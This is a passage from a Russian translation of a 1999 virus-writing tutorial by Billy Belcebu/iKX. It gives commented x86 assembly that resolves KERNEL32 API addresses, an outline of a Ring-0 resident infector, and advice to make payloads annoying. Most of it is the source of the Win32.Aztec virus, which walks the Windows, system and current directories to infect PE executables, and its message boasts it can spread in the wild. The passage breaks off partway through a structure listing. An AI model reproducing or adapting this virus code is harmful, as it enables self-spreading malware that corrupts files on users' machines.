    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Если вы помните, у нас в ESI указатель на RVA таблицу адресов, поэтому ; ; чтобы получить этот адрес мы делаем LODSD, который помещает DWORD, на ; ; который указывает ESI, в приемник (в данном случае EAX). Так как это был ; ; RVA, мы нормализуем его. ; ; ; ; Давайте посмотрим, что говорит Мэтт Питрек о первом поле: ; ; ; ; "Это поле является RVA и указывает на массив адресов функций, каждый ; ; элемент которого является RVA одной из экспортируемых функций в данном ; ; модуле." ; ; ; ; И наконец, мы сохраняем его в соответствующей переменной. Далее мы ; ; должны узнать адрес таблицы указателей на имена. Мэтт Питрек объясняет ; ; это следующим образом: ; ; ; ; "Это поле - RVA и указывает на массив указателей на строки. Строки ; ; являются именами экспортируемых данным модулем функций". ; ; ; ; Но я не сохраняю его в переменной, а помещаю в стек, так как использую ; ; его очень скоро. Ок, наконец мы переходим к таблице ординалов, вот что ; ; говорит об этом Мэтт Питрек: ; ; ; ; "Это поле - RVA и оно указывает на массив WORDов. WORD'ы являются ; ; ординалами всех экспортируемых функций в данном модуле". ; ; ; ; Ок, это то, что мы сделали. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    @_3: push esi ; Save ESI for l8r restore lodsd ; Get value ptr ESI in EAX add eax,[ebp+kernel] ; Normalize mov esi,eax ; ESI = VA of API name mov edi,edx ; EDI = ptr to wanted API push ecx ; ECX = API size cld ; Clear direction flag rep cmpsb ; Compare both API names pop ecx ; Restore ECX jz @_4 ; Jump if APIs are 100% equal pop esi ; Restore ESI add esi,4 ; And get next value of array inc word ptr [ebp+Counter] ; Increase counter jmp @_3 ; Loop again


    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Хех, это не в моем стиле помещать слишком много кода без комментариев, ; ; как я поступил только что, но этот блок кода нельзя разделить без ущерба ; ; для его объяснения. Сначала мы помещаем ESI в стек (который будет ; ; изменен инструкцией CMPSB) для последующего восстановления. После этого ; ; мы получаем DWORD, на который указывает ESI (таблица указателей на ; ; имена) в приемник (EAX). Все это выполняется с помощью инструкции LODSD. ; ; Мы нормализуем ее, добавляя адрес базы ядра. Хорошо, теперь у нас в EAX ; ; находится указатель на имя одной из функций API, но мы еще не знаем, что ; ; это за функция. Например EAX может указывать на что-нибудь вроде ; ; "CreateProcessA" и это функция для нашего вируса неинтересна... Ладно, ; ; для сравния строки с той, которая нам нужна (на нее указывает EDX), у ; ; нас есть CMPSB. Поэтому мы подготавливаем ее параметры: в ESI мы ; ; помещаем указатель на начало сравниваемого имени функции, а в EDI - ; ; нужно нам имя. В ECX мы помещаем ее размер, а затем выполняем побайтовое ; ; сравнение. Если обе строки совпадают друг с другом, устанавливается ; ; флаг нуля и мы переходим к процедуры получения адреса этой API-функции. ; ; В противном случае мы восстанавливаем ESI и добавляем к нему размер ; ; DWORD, чтобы получить следующее значение в таблице указателей на имена. ; ; Мы повышаем значение счетчика (ОЧЕНЬ ВАЖНО) и продолжаем поиск. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    @_4: pop esi ; Avoid shit in stack movzx eax,word ptr [ebp+Counter] ; Get in AX the counter shl eax,1 ; EAX = AX * 2 add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize xor esi,esi ; Clear ESI xchg eax,esi ; EAX = 0, ESI = ptr to Ord lodsw ; Get Ordinal in AX shl eax,2 ; EAX = AX * 4 add eax,dword ptr [ebp+AddressTableVA] ; Normalize mov esi,eax ; ESI = ptr to Address RVA lodsd ; EAX = Address RVA add eax,[ebp+kernel] ; Normalize and all is done. ret


    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Пффф, еще один огромный блок кода и, похоже, не очень понятный, так ; ; ведь? Не беспокойтесь, я прокомментирую его ;). ; ; Pop служит для очищения стека. Затем мы двигаем в нижнюю часть EAX ; ; значение счетчика (так как это WORD) и обнуляет верхнюю вышеупомянутого ; ; регистра. Мы умножаем его на два, так как массив, в котором мы будем ; ; проводить поиск состоит из WORD'ов. Теперь мы добавляем к нему указатель ; ; на начало массива, где мы хотим искать. Поэтому мы помещаем EAX в ESI, ; ; чтобы использовать этот указатель для получения значения, на которое он ; ; указывает, с помощью просто LODSW. Хех, теперь у нас есть ординал, но то,; ; что мы хотим получить - это точка входа в код функции API, поэтому мы ; ; умножаем ординал (который содержит позицию точки входа желаемой функции) ; ; на 4 (это размер DWORD), и у нас теперь есть значение RVA относительно ; ; RVA таблицы адресов, поэтому мы производим нормализацию, а теперь в EAX ; ; у нас находится указатель на значение точки входа функции API в таблице ; ; адресов. Мы помещаем EAX в ESO и получаем значение, на которое указывает ; ; EAX. Таким образом в этом регистре находится RVA точки входа требуемой ; ; API-функции. Хех, сейчас мы должны нормализовать этот адрес относительно ; ; базы образа KERNEL32 и вуаля - все сделано, у нас в EAX есть настоящий ; ; реальный адрес функции! ;) ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    GetAPI endp

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    GetAPIs proc

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, это код для получения всех API-функций. У данной функции следующие ; ; параметры: ; ; ; ; INPUT . ESI : Указатель на имя первой желаемой API-функции в формате ; ; ASCIIz ; ; . EDI : Указатель на переменную, которая содержит первую желаемую ; ; API-функцию ; ; OUTPUT . Ничего ; ; ; ; Для получения всех этих значений я буду использовать следующую структуру:; ; ; ; ESI указывает на --. db "FindFirstFileA",0 ; ; db "FindNextFileA",0 ; ; db "CloseHandle",0 ; ; [...] ; ; db 0BBh ; Отмечает конец массива ; ; ; ; EDI указывает на --. dd 00000000h ; Будущий адрес FFFA ; ; dd 00000000h ; Будущий адрес FNFA ; ; dd 00000000h ; Будущий адрес CH ; ; [...] ; ; ; ; Я надеюсь, что вы достаточно умны и поняли, о чем я говорю. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    @@1: push esi push edi call GetAPI pop edi pop esi stosd

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Мы помещаем обрабатываемые значения в стек, чтобы избежать их возможного ; ; изменения, а затем вызываем процедуру GetAPI. Здесь мы предполагаем, что ; ; ESI указывает на имя требуемой API-функции, а EDI - это указатель на ; ; переменную, которая будет содержать имя API-функции. Так как мы получаем ; ; смещение API-функции в EAX, мы сохраняем его значение в соответствующей ; ; переменной, на которую указывае EDI с помощью STOSD. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    @@2: cmp byte ptr [esi],0 jz @@3 inc esi jmp @@2 @@3: cmp byte ptr [esi+1],0BBh jz @@4 inc esi jmp @@1 @@4: ret GetAPIs endp

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Я знаю, это можно было сделать гораздо более оптимизированно, но вполне ; ; годиться в качестве примена. Ладно, сначала мы доходим до конца строки, ; ; чей адрес мы запрашивали ранее, и теперь она указывает на следующую ; ; API-функцию. Но нам нужно узнать, где находится последняя из них, ; ; поэтому мы проверяем, не найден ли байт 0BBh (наша метка конца массива). ; ; Если это так, мы получили все необходимые API-функции, а если нет, ; ; продолжаем поиск. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    ;---[ CUT HERE ]-------------------------------------------------------------

    Хех, я сделал эти процедуру как можно проще и хорошенько их откомментировал, поэтому я ожидаю, что вы поняли суть. Если нет, то это не мои проблемы... Но теперь появляется вопрос, какие функции нам следует искать? Ниже я приведу исходный код рантаймового (времени выполнения) вируса, который использует технику файлового мэппинга (более простой и быстрый путь манипуляций и заражения файлов).

    Получить конец ASCIIz-строки

    Это очень полезно, особенно в наших поисковых системах API-функций. И, конечно, это можно сделать гораздо более оптимизировано, чем это делается обычно во многих вирусах. Давайте посмотрим:
    lea edi,[ebp+ASCIIz_variable] ; 6 байтов @@1: cmp byte ptr [edi],00h ; 3 байта inc edi ; 1 байт jnz @@1 ; 2 байта inc edi ; 1 байт
    Этот код можно очень сильно сократить, если сделать следующим образом:
    lea edi,[ebp+ASCIIz_variable] ; 6 байтов xor al,al ; 2 байта @@1: scasb ; 1 байт jnz @@1 ; 2 байта
    Хехехе. Полезно, коротко и выглядит красиво. Что еще нужно? :)

    с небольших алгоpитмов, поступлю так

    Я люблю начинать уpоки с небольших алгоpитмов, поступлю так и в этот pаз.

    -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· 1. Пpовеpка на то, какая OS запущена, если NT, сpазу возвpащаем упpавление носителю. 2. Пеpеходим в Ring-0 (с помощью IDT, вставки VMM или техники вызова вpат). 3. Запускаем пpеpывание, котоpое содеpжит код заpажения. 3.1. Резеpвиpуем место, где виpус будет находиться pезидентно (pезеpвиpование стpаниц или в куче). 3.2. Двигаем виpус туда. 3.3. Пеpехватываем файловую систему и сохpаняем стаpый обpаботчик. 3.3.1. В обpаботчике FS вначале сохpаняем все паpаметpы и фиксим ESP. 3.3.2. Push'им паpаметpы. 3.3.3. Затем пpовеpяем, пытается ли система откpыть файл, если нет, пpопускаем заpажение. 3.3.4. Если пытается откpыть, сначала конвеpтиpуем имя файла в asciiz. 3.3.5. Затем пpовеpяем, является ли файл EXE. Если нет, пpопускаем заpажение. 3.3.6. Откpываем, читаем заголовок, пpоизводим необходимые манипуляции, добавляем код виpуса и закpываем файл. 3.3.7. Вызываем стаpый обpаботчик. 3.3.8. Пpопускаем все заpаженные паpаметpы в ESP. 3.3.9. Возвpат из пpеpывания. 3.4. Возвpат. 4. Восстанавливаем оpигинальные вектоpы пpеpываний. 5. Возвpащаем упpавление носителю. -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

    Алгоpитм слегка велик, как бы то ни было, я пытался сделать его более общим, но я пpедпочитаю пеpейти непосpедственно к делу. Ок, поехали.

    Пpовеpяем, какая OS запущена

    Есть кое-какие пpоблемы с Ring-0 под NT (Super, pеши их!), поэтому мы должны пpовеpить, в какой опеpационной системе мы находимся, и возвpатить контpоль носители, если это не платфоpма Win9x. Есть несколько путей:
  • Use SEH
  • Check for the Code Segment value
  • Использовать SEH
  • Пpовеpить значение CS

  • Я пpедполагаю, что вы умеете pаботать с SEH, пpавда? Я объяснил его пpименение в дpугой главе, поэтому настало вpемя встать и пpочитать ее :). Что касается втоpого способа, вот код:
    mov ecx,cs xor cl,cl jecxz back2host
    Объяснение этого кода очень пpостое: в Windows NT CS всегда меньше 100h, а в Win95/98 всегда больше, поэтому мы очищаем младший байт CS, и если он меньше 100, ECX будет 0 и наобоpот, если младший байт будет больше 100h, ECX нулю pавен не будет. Оптимизиpованно, да ;).

    Полезная нагрузка

    Поскольку мы работаем с графической OS, наша полезная нагрузка может быть весьма впечатляющей. Конечно, я не хотел бы больше видеть такие виды полезной нагрузки, которую продемонстрировали CIH и Kriz. Лучше взгляните на Marburg, HPS, Sexy2, Hatred, PoshKiller, Harrier и многие другие вирусы. Они действительно рулят. Разумеется, стоит взглянуть на вирусы с несколькими нагрузками, такими как Girigat и Thorin.
    Просто подумайте о том, что пользователь не заметит присутствие вируса, пока вы сами не дадите ему знать об этом. Поэтому полезная нагрузка - это своего рода отображение всей вашей работы.
    Есть много вещей, который вы можете сделать: сменить обои, изменить некоторые системные строки (как мой Legacy), вы можете показать ему веб-страницы, вы можете вывести что-нибудь на экран из-под Ring-0 (как Sexy2 и PoshKiller) и так далее. Просто исследуйте немного справочник по Win32 API. Попытайтесь сделать вашу нагрузку как можно более назойливой :).

    Об авторе

    Хей :). Я решил посвятить эту секцию самому себе. Можете назвать меня эгоистичным, высокомерным или надменным. Я знаю, что я таковым не являюсь :). Я просто хочу вам рассказать немного о человеке, который пытался научить вас полезным вещам с помощью данного туториала (Billy Belcebu имеет в виду себя - прим. пер.). Я 16-летний парень из Испании. У меня есть собственный взгляд на мир, собственные политические идеи. Я верю в идеалы, и я думаю, что мы можем сделать что-нибудь, чтобы спасит наше больное общество. Я не хочу жить там, где деньги котируются превыше жизни (любой: людей, зверей, овощей (хмм... - прим. пер.)), где понятием демократии извращается людьми из правительства (это не только проблема Испании, но также и других стран - США, Великобритании, Франции и т.д.). Демократия (я думаю, что коммунизм был бы лучше (спасибо, не надо, уже наелись - прим. пер.), но если нет ничего лучше демократии...) всем жителям страны выбирать свое будущее. Брр, я уже устал писать подобные вещи, это все равно, что говорить со стеной :).
    Ок, ок, я лучше немного поговорю о своей работе. Я создатель следующих вирусов:
    + Пока был в DDT, - Antichrist Superstar [ Никогда не был зарелизен ] - Win9x.Garaipena [ AVP: Win95.Gara ] - Win9x.Iced Earth [ AVP: Win95.Iced.1617 ]
    + Пока был в iKX, - Win32.Aztec v1.00, v1.01 [ AVP: Win95.Iced.1412 ] - Win32.Paradise v1.00 [ AVP: Win95.Iced.2112 ] - Win9x.PoshKiller v1.00 - Win32.Thorin v1.00 - Win32.Legacy v1.00 - Win9x.Molly - Win32.Rhapsody
    Также несколько движков:
    - LSCE v1.00 [Little Shitty Compression Engine] - THME v1.00 [The Hobbit Mutation Engine] - MMXE v1.00, v1.01 [MultiMedia eXtensions Engine] - PHIRE v1.00 [Polymorphic Header Idiot Random Engine] - iENC v1.00 [Internal ENCryptor]
    И я написал несколько туториалов, но я не буду перечислять их здесь :).
    В настоящее время я являюсь членом группы iKX. Как вы знаете, iKX расшифровывается как International Knowledge eXchange. В прошлом я был организатором DDT. Я считаю себя антифашистом, защитником прав человека, антимилитаристом и врагом всех, кто обижает женщин и маленьких детей. Я верю только в себя, не верю в какую-либо религию и фанатизм.
    Также важную роль (кроме друзей) в моей жизни играет музыка. Во время написания данных строк я, как обычно, слушаю музыку :).
    Для получения большей информации обо мне и моих релизах, посетите мою домашнюю страницу.

    Пример вируса

    Не думайте, что я сумасшедший. Я помещу здесь код вируса для того, чтобы избежать последовательного описания всех этих API-функций, а продемонстрировать их в действии :). Этот вирус - одно из моих последних созданий. Мне потребовался один день, чтобы его закончить: он основывается на Win95.Iced Earth, но без багов и специальных функций. Наслаждайтесь Win32.Aztec! (Да, Win32!!!).
    ;---[ CUT HERE ]------------------------------------------------------------- ; [Win32.Aztec v1.01] - Bugfixed lite version of Iced Earth ; Copyright (c) 1999 by Billy Belcebu/iKX ; ; Имя вируса : Aztec v1.01 ; Автор вируса : Billy Belcebu/iKX ; Происхождение : Испания ; Платформа : Win32 ; Мишень : PE files ; Компилирование: TASM 5.0 и TLINK 5.0 ; tasm32 /ml /m3 aztec,,; ; tlink32 /Tpe /aa /c /v aztec,aztec,,import32.lib, ; pewrsec aztec.exe ; Примечание : Ничего особенного в этот раз. Просто пофиксены баги вируса ; Iced Earth и убраны особые возможности. Это действительно ; вирус для обучения. ; Почему Aztec? : Почему вирус называется именно так? Много причин: ; • Раз уж есть вирус Inca и вирус Maya... ;) ; • Я жил в Мексике шесть месяцев ; • Я ненавижу фашистские методы, которые использовал Кортес ; • для того, чтобы отбирать территории у ацтеков ; • Мне нравится их мифология ;) ; • Моя отстойная звуковая карта называется Aztec :) ; • Я люблю Salma Hayek! :)~ ; • KidChaos - это друг :) ; Поздравления : Хорошо, в этот раз поздравления только людям из EZLN и ; MRTA. ; ; (c) 1999 Billy Belcebu/iKX
    .386p ; требуется 386+ =) .model flat ; 32-х битные регистры без ; сегментов jumps ; Чтобы избежать переходов за ; пределы границы
    extrn MessageBoxA:PROC ; Импортировано 1-ое ; поколение extrn ExitProcess:PROC ; API-функции :)
    ; Some equates useful for the virus
    virus_size equ (offset virus_end-offset virus_start) heap_size equ (offset heap_end-offset heap_start) total_size equ virus_size+heap_size shit_size equ (offset delta-offset aztec)
    ; Жестко задается только для первого поколения, не беспокойтесь ;)

    kernel_ equ 0BFF70000h kernel_wNT equ 077F00000h
    .data
    szTitle db "[Win32.Aztec v1.01]",0
    szMessage db "Aztec is a bugfixed version of my Iced Earth",10 db "virus, with some optimizations and with some",10 db "'special' features removed. Anyway, it will",10 db "be able to spread in the wild succefully :)",10,10 db "(c) 1999 by Billy Belcebu/iKX",0
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Все это отстой: несколько макросов, чтобы сделать код более понятным, ; кое-что для первого поколения и т.д. ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    .code
    virus_start label byte
    aztec: pushad ; Помещаем в стек все ; регистры pushfd ; Помещаем в стек регистр ; флагов
    call delta ; Самый сложный для понимания ; код ;) delta: pop ebp mov eax,ebp sub ebp,offset delta
    sub eax,shit_size ; Получаем базу образа на sub eax,00001000h ; лету NewEIP equ $-4 mov dword ptr [ebp+ModBase],eax
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок. Во-первых, я помещаю в стек все регистры и все флаги (не потому что ; ; это требуется, а потому что я привык это всегда делать). Затем я делаю ; ; нечто очень важное. Да! Это дельта-смещение! Мы должны получить его по ; ; очень простой причине: мы не знаем где находится исполняющийся код. Я не ; ; буду рассказывать о дельта-смещении что-то еще, потому что я уверен, что ; ; вы узнали об этом все, что нужно еще во время программирования под DOS ; ; ;). Ладно, теперь нам нужно получить базу образа текущего процесса. Это ; ; необходимо для последующего возвращения управления носителю (что будет ; ; сделано позже). Сначала мы вычитаем базы между меткой delta и aztec ; ; (7 bytes->PUSHAD (1)+PUSHFD (1)+CALL (5)), после чего мы вычитаем ; ; текущий EIP (пропатченный во время заражения) и вуаля! У нас есть база ; ; образа. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    mov esi,[esp+24h] ; Получаем адрес возврата ; программы and esi,0FFFF0000h ; Выравниваем на 10 страниц mov ecx,5 ; 50 страниц (в группах по ; 10) call GetK32 ; Вызываем процедуру mov dword ptr [ebp+kernel],eax ; EAX будет содержать адрес ; базы образа K32
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы помещаем в ESI адрес, откуда был вызван процесс (он находится ; ; в KERNEL32.DLL, вероятно API-функция CreateProcess). Изначально это ; ; адрес, на который указывает ESP, но так как мы поместили в стек 24 байта ; ; (20 использовал PUSHAD, другие 4 - PUSHFD), нам необходимо это учесть. А ; ; после этого мы выравниваем его на 10 страниц, делая самое младшее слова ; ; равным нулю. После этого мы устанавливаем другие параметры для процедуры ; ; GetK32, ECX, который содержит максимальное количество групп по 10 ; ; страниц, делаем равным 5 (что дает 5*10=50 страниц), а после чего мы ; ; вызываем процедуру. Как только она вернет нам правильный адрес базы ; ; KERNEL32, мы его сохраняем. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    lea edi,[ebp+@@Offsetz] lea esi,[ebp+@@Namez] call GetAPIs ; Получаем все API-функции
    call PrepareInfection call InfectItAll
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы задаем параметры процедуры GetAPIs: EDI, указывающий на ; ; массив DWORD'ов, которые будут содержать адреса API-функций и ESI, ; ; указывающий на имена API-функций (в формате ASCIIz), которые необходимо ; ; найти. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    xchg ebp,ecx ; Это первое поколение? jecxz fakehost
    popfd ; Восстанавливаем все флаги popad ; Восстанавливаем все ; регистры
    mov eax,12345678h org $-4 OldEIP dd 00001000h
    add eax,12345678h org $-4 ModBase dd 00400000h
    jmp eax
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы смотрим, не является ли данное поколение вируса первым, ; ; проверяя не равен ли EBP нулю. Если это так, то мы переходим к носителю ; ; первого поколения. Если это не так, мы восстанавливаем из стека регистр ; ; флагов и все расширенные регистры. После это идет инструкция, помещающая ; ; в EAX старую точку входа зараженной программы (это патчится во время ; ; заражения), а затем мы добавляем к ней адрес базы текущего процесса ; ; (патчится во время выполнения). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    PrepareInfection: lea edi,[ebp+WindowsDir] ; Указатель на 1ую директор. push 7Fh ; Размер буфера push edi ; Адрес буфера call [ebp+_GetWindowsDirectoryA] ; Получаем директорию Windows
    add edi,7Fh ; Указатель на 2ую директор. push 7Fh ; Размер буфера push edi ; Адрес буфера call [ebp+_GetSystemDirectoryA] ; Получаем системную дир.
    add edi,7Fh ; Указатель на 3ью директор. push edi ; Адрес буфера push 7Fh ; Размер буфера call [ebp+_GetCurrentDirectoryA] ; Получаем текущую директорию ret
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, это простая процедура, которая используется для получения всех ; ; директорий, где вирус будет искать файлы для заражения. Так как ; ; максимальная длина директории 7F байтов, я помещаю в кучу (смотри ниже) ; ; три переменных, избегая лишних байтов и бесполезных данных. Обратите ; ; внимание, что в последнем вызове API-функции нет никаких ошибок. Давайте ; ; глубже проанализируем эти функции: ; ; ; ; Функция GetWindowsDirectory получает путь к директории Windows. ; ; Директория Windows содержит различные приложения, инициализационные ; ; файлы и файлы помощи. ; ; ; ; UINT GetWindowsDirectory( ; ; LPTSTR lpBuffer, // адрес буфера для директории Windows ; ; UINT uSize // размер буфера ; ; ); ; ; ; ; Параметры ; ; --------- ; ; ¦ lpBuffer: указывает на буфер, в котором будет помещен путь к ; ; директории. Этот путь не будет заканчиваться слешом, если только ; ; директорией Windows не является корневая директория. Например, если ; ; директория Windows - это папка WINDOWS на диске C, то путь полученный ; ; путь к директории Windows будет "C:\WINDOWS". Если Windows была ; ; инсталлирована в корневой директории диска C, то полученный путь будет ; ; "C:\". ; ; ¦ uSize: Указывает максимальный размер в символах буфера, который задан ; ; параметором lpBuffer. Это значение должно быть равно по крайней мере ; ; MAX_PATH, чтобы обеспечить достаточное количество места в буфере для ; ; пути. ; ; ; ; Return Values ; ; ------------- ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение - это длина ; ; скопированной в буфер строки в символах, не включая завершающий символ ; ; NULL. ; ; ¦ Если длина больше размера буфера, то возвращаемое значение - это ; ; требуемый размер буфера. ; ; ; ; --- ; ; ; ; Функция GetSystemDirectory получает путь к системной директории Windows. ; ; Системная директория содержит драйвера, библиотеки Windows и файлы ; ; шрифтов. ; ; ; ; UINT GetSystemDirectory( ; ; LPTSTR lpBuffer, // адрес буфера ; ; UINT uSize // размер буфера ; ; ); ; ; ; ; ; ; Параметры ; ; --------- ; ; ; ; ¦ lpBuffer: указывает на буфер, в который будет помещен путь к системной ; ; директории. Так же как и в предыдущем случае путь не будет ; ; заканчиваться слешем, если только системная директория не является ; ; корневой. ; ; ; ; ¦ uSize: задает максимальный размер буфера в символах. Это значение ; ; должно быть не меньше MAX_PATH. ; ; ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение - это длина ; ; скопированной в буфер строки в символах, не включая завершающий символ ; ; NULL. Если длина больше размера буфера, то возвращаемое значение - это ; ; требуемый размер буфера. ; ; ; ; --- ; ; ; ; Функция GetCurrentDirectory получает текущую директорию для текущего ; ; процесса. ; ; ; ; DWORD GetCurrentDirectory( ; ; DWORD nBufferLength, // размер буфера в символах ; ; LPTSTR lpBuffer // адрес буфера ; ; ); ; ; ; ; Параметры ; ; --------- ; ; ; ; ¦ nBufferLength: задает длину буфера, в который будет помещен путь к ; ; текущей директории. Должен учитываться завершающий символ NULL. ; ; ; ; ¦ lpBuffer: задает адрес буфера. Полученная строка будет абсолютным ; ; путем к текущей директории. ; ; ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение задает ; ; количество символов, записанных в буфер (завершающий символ NULL не ; ; учитывается. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    InfectItAll: lea edi,[ebp+directories] ; Указатель на 1ую дир. mov byte ptr [ebp+mirrormirror],03h ; 3 директории requiem: push edi ; Устанавливаем в качестве call [ebp+_SetCurrentDirectoryA] ; текущей директорию, на ; которую указывает EDI
    push edi ; Сохраняем EDI call Infect ; Заражает файлы в выбранной ; директории pop edi ; Восстанавливаем EDI
    add edi,7Fh ; Другая директория
    dec byte ptr [ebp+mirrormirror] ; Уменьшаем значение счетчика jnz requiem ; Последний? Если нет, то ; повторим ret
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Вначале мы делаем так, чтобы EDI указывал на первую директорию в ; ; массиве, после чего мы устанавливаем количество директорий, которые ; ; хотим заразить (dirs2inf=3). Затем мы входим в главный цикл. Он ; ; заключается в следующем: мы изменяем текущую директорию на ; ; обрабатываемую в данный момент из массива, потом заражаем все файлы в ; ; этой директории, после чего переходим к другой директории, пока не ; ; обработаем все 3. Просто, правда? :) Теперь время рассмотреть ; ; характеристики API-функции SetCurrentDirectory: ; ; ; ; Функция SetCurrentDirectory изменяет текущую директорию данного ; ; процесса. ; ; ; ; BOOL SetCurrentDirectory( ; ; LPCTSTR lpPathName // адрес имени новой текущей директории ; ; ); ; ; ; ; Параметры ; ; --------- ; ; ; ; ¦ lpPathName: указывает на строку, задающую путь к новой директории. ; ; Путь может быть как относительным, так и абсолютным. В любом случае ; ; высчитывается полный путь к директории и устанавливается в качестве ; ; текущего. ; ; ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение не равно ; ; нулю. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    Infect: and dword ptr [ebp+infections],00000000h ; сброс счетчика
    lea eax,[ebp+offset WIN32_FIND_DATA] ; Находим структуру push eax ; Заталкиваем ее в стек lea eax,[ebp+offset EXE_MASK] ; Маска, по которой искать push eax ; Заталкиваем ее


    call [ebp+_FindFirstFileA] ; Получаем первый подходящий ; файл
    inc eax ; CMP EAX,0FFFFFFFFh jz FailInfect ; JZ FAILINFECT dec eax
    mov dword ptr [ebp+SearchHandle],eax ; Сохраняем хэндл поиска
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Это первая часть процедуры. Первая строка сбрасывает счетчик заражения ; ; (то есть устанавливает его в 0) оптимизированным образом (в данном ; ; случае AND меньше чем MOV). Сбросив счетчик, мы начинаем искать файлы, ; ; которые можно заразить ;). Ок, в DOS у нас были функции INT 21 ; ; 4Eh/4Fh... В Win32 у нас есть 2 эквивалентные API-функции: FindFirstFile ; ; и FindNextFile. Теперь нам нужно найти 1ый файл в директории. Все ; ; Win32-функции для поиска файлов используют одну и ту же структуру (вы ; ; помните DTA?) под названием WIN32_FIND_DATA (зачастую ее называние ; ; сокращают до WFD). Давайте посмотрим на ее поля: ; ; ; ; MAX_PATH equ 260 <-- Максимальная длина пути ; ; ; ; FILETIME STRUC <-- Структура для обработки времени ; ; FT_dwLowDateTime dd ? (используется во многих ; ; FT_dwHighDateTime dd ? Win32-структурах) ; ; FILETIME ENDS ; ; ; ; WIN32_FIND_DATA STRUC ; ; WFD_dwFileAttributes dd ? <-- Содержит аттрибуты файла ; ; WFD_ftCreationTime FILETIME ? <-- Время создание файла ; ; WFD_ftLastAccessTime FILETIME ? <-- Время последнего доступа к файлу; ; WFD_ftLastWriteTime FILETIME ? <-- 